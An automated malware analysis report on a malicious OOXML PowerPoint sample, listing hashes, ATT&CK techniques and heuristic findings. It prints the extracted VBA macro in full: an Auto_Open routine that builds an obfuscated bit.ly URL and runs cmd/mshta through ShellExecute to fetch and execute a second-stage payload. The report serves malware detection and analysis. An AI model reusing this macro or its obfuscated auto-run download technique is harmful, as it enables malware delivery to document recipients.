Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 faf63ceb3731a53e…

MALICIOUS

Office (OOXML)

8.2 KB First seen: 2021-09-17
MD5: edbb4108f75055adce11b575fd20b498 SHA-1: 6f1f413def4bda321306fb332d3a88e02812e44e SHA-256: faf63ceb3731a53ec72c07128b323604987c8f6614e4e01f33a239cf3dc20074
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with an Auto_Open subroutine. This subroutine constructs a URL by concatenating several strings and then uses the ShellExecute API to execute 'cmd.exe' with the constructed URL as a parameter. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL. The technique of using a malicious document with an auto-executing macro to deliver a payload is consistent with spearphishing attachments.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1017 bytes
SHA-256: 8e802438005be559bdb1b00824757ea566bb578ce1e432524d0f14edcc73e71b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"

Public Declare Function ShellExecute _
    Lib "shell32.dll" _
    Alias "ShellExecuteA" ( _
    ByVal hwnd As Long, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) _
    As Long
    Dim strFile As String
    Dim takla As String
    Dim gituk As Long


Sub Auto_Open()
MMR400 = "cmd"
MM101 = MMR400
mmr500 = "msgbox/" + "r" + "m" + "s" + "h" + "t" + "a "
MM102 = M5
MMR600 = "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "w" + "w" + "w" + "." + "b" + "i" + "t" + "l"
MMR700 = "y" + "." + "c" + "o" + "m" + "/" + "a" + "s" + "d" + "o" + "a" + "k" + "s" + "d" + "o" + ""
MMR800 = "y" + "e" + "u" + "q" + "o" + "tyewqdb" + "bnas" + "k" + "j" + "a"
Mi = mmr500 + MMR600 + MMR700 + MMR800

takla = "open"  ' action might be OPEN, NEW or other, depending on what you need to do
gituk = ShellExecute _
(0, takla, MM101, Mi, "", 0)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 15872 bytes
SHA-256: ea1dcb46f1b26b5a5a7108dec28d5251cff0c993b0c8a58ef29e77aee5ff0258

Open this report in the interactive analyzer, or submit your own file for analysis.